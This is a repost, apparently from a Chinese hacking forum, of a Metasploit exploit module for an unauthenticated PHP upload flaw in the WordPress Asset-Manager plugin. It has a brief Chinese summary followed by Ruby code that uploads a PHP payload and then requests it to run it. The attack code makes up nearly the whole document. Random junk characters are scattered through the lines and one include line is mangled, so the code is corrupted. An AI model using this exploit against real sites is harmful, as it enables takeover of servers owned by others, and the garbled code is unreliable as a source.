这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。& p) W( }% A: A' M0 c8 W
! z$ e; E6 U3 [$ P9 h2 V
##: b' N1 `+ E2 H! A! A
# This file is part of the Metasploit Framework and may be subject to, s# F8 v2 f9 w8 \# R
# redistribution and commercial restrictions. Please see the Metasploit. x' H8 m% {" D9 @7 [
# Framework web site for more information on licensing and terms of use.
* S8 ?) N o; ?- Y& }8 H2 G+ ?# http://metasploit.com/framework/! r+ H: Q+ D, B J
##+ h2 k, G2 @- }) k* l3 P1 g4 y7 p/ t
S3 G6 u0 y) s& [0 [9 Wrequire 'msf/core'
7 S1 p/ U. @) X: T1 z( f0 n7 e" krequire 'msf/core/exploit/php_exe'* `) t# H2 _! j: ~
* C( R7 F; G ^class Metasploit3 < Msf::Exploit::Remote
- Q: d$ w5 J0 S Rank = ExcellentRanking$ n) s8 N. M8 V& j' e+ d
$ E& l* f5 q) L
include Msf::Exploit::Remote::HttpClient
# ~! O% H) W: |4 _; i% R7 Q6 y include Msf::Exploit: hpEXE, c r3 v8 D7 O. z! K. g! y
+ }& s. f6 M* ^2 U, |$ z
def initialize(info = {})
; p* Y" }# V4 a0 }/ V9 H- R* h super(update_info(info,
7 j# ^' N6 F& F7 [7 u. _, S 'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
) T' W) _9 s& t: K& B7 o 'Description' => %q{& r5 A0 k8 K+ ]0 H$ ]0 o9 z
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
; q! n/ ?% @1 M( X plugin. By abusing the upload.php file, a malicious user can upload a file to a
% X C! P/ B3 [! `' i6 T' _ temp directory without authentication, which results in arbitrary code execution. V% b$ E8 Z3 x
},
4 W# C+ h6 X4 R# l) H 'Author' =>
. E4 d+ j& Y3 } [2 ^. M6 i' I! _( S5 @
'Sammy FORGIT', # initial discovery
. V, ]& h4 Q' ]9 Z* I% i 'James Fitts <fitts.james[at]gmail.com>' # metasploit module: S: ?( s/ y5 p/ w/ v7 P3 k
],
5 n. J) X* p7 [ 'License' => MSF_LICENSE,5 r8 o3 B& Y& S: \- _$ M
'References' =>
, O' e$ U0 `/ Q+ Q% Q2 x [/ }! P% B7 _6 G# O3 C6 `
[ 'OSVDB', '82653' ],
3 I# N" f0 h& N9 @ [ 'BID', '53809' ],
+ D0 |/ O! i5 [ [ 'EDB', '18993' ],4 b( E8 \$ m0 K5 q
[ 'URL', 'http:// www.myhack58.com /' ]
; j2 ~2 w& e$ a ],; t+ A: c. L: r# X" g( U* E
'Payload' =>$ G1 H% P7 ~0 @& m4 x) [1 U
{
. h- B/ d6 ~& v- l1 d 'BadChars' => "\x00",5 E G+ @, C% J& o3 c$ Q1 v
},
7 V. N; O# @. ~; M# q* x 'Platform' => 'php',1 s! i5 W$ R. O
'Arch' => ARCH_PHP,) N) b4 @( `; S: a' w4 _4 J# K) ~2 U
'Targets' =>7 ~* f, z+ J% |$ |; J5 R: f
[6 T- }6 a0 t: B$ ]
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
. \; v- Y' l: u [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]' D. s" ], a7 B4 ]* l
],
5 l" ?4 u' g5 a; P; Y/ G; _- ` 'DefaultTarget' => 0,8 y$ c; U% K. ]% o% R {
'DisclosureDate' => 'May 26 2012'))
* `1 c- Y" F% [! o' y; W3 Q
! M# a7 B0 S7 O) x register_options(
' z# M% V4 u* \* b [* N+ n- D" C0 T# w- m
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])2 n* t* K5 t/ b2 S; U2 y) S% j
], self.class) j- D% ^ U; z- Y
end
, U& p# ~; K( z8 a/ U. @5 j; O4 [ # K+ W! b: ~; Y7 @
def exploit; w" [6 D, v9 ^" I( S( n4 F
uri = target_uri.path
6 E5 _/ S0 m$ k& T9 h uri << '/' if uri[-1,1] != '/'7 w* {2 H6 Y3 O, I% n' P
peer = "#{rhost}:#{rport}"
; p, J7 p0 ^$ F! B6 H+ s! m payload_name = "#{rand_text_alpha(5)}.php", q+ r, V+ A6 G% ]; w2 q5 c+ z
php_payload = get_write_exec_payload(:unlink_self=>true)
& _ G" \& f" c& u( V 2 ?% M1 S9 F7 c1 Z
data = Rex::MIME::Message.new
% u9 T _" b$ [! M% o data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")* h: K! [9 V8 P1 Z/ E
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')' ]3 P! }; E; T: k% v% ^
$ c' ~; N' Y5 u5 r& R7 q print_status("#{peer} - Uploading payload #{payload_name}")
6 X( j+ {: f4 j) S( m7 H) P res = send_request_cgi({+ j' L' s8 B: U# u, M0 q9 O
'method' => 'POST',
8 n& v7 l8 D- L7 G- Y- h+ L4 [ 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
' m( ]! G1 E2 {, | B% L 'ctype' => "multipart/form-data; boundary=#{data.bound}",
8 |- Q/ ?& W4 N2 L8 E 'data' => post_data
" E0 C! t( d4 h7 h }); O* u9 ?' K, e w& {2 m2 _/ \
/ _3 B9 _7 D/ E* o9 o l) H if not res or res.code != 200 or res.body !~ /#{payload_name}/2 q. r [7 z2 O* V2 b# v- S9 [
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")3 ]. g- ~% B! A& e Y+ n
end
- W4 {5 R8 ?* r/ Z- p/ ^+ F3 @- `
+ `' Q" e4 q9 W- F print_status("#{peer} - Executing payload #{payload_name}")
- e, G2 U9 h$ B+ T: r" f- k2 O X res = send_request_raw({
' w" P l6 E- [8 q6 s 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",- Z8 b* E" S8 L' H/ x
'method' => 'GET'
1 D1 R! n7 D `5 u9 V2 E$ g })
1 F3 ], J7 i2 d3 D/ Y7 a2 _ . V9 J, o0 r. q( q- l' @" V
if res and res.code != 200
" ~! l" I! `* O X. J fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")9 W3 d) d- |8 K0 M7 f( ^7 f
end( A4 U. W" X) t9 u4 D
end* ]) N, j3 f' T0 x: `! l
end, \, F' F8 A% d
|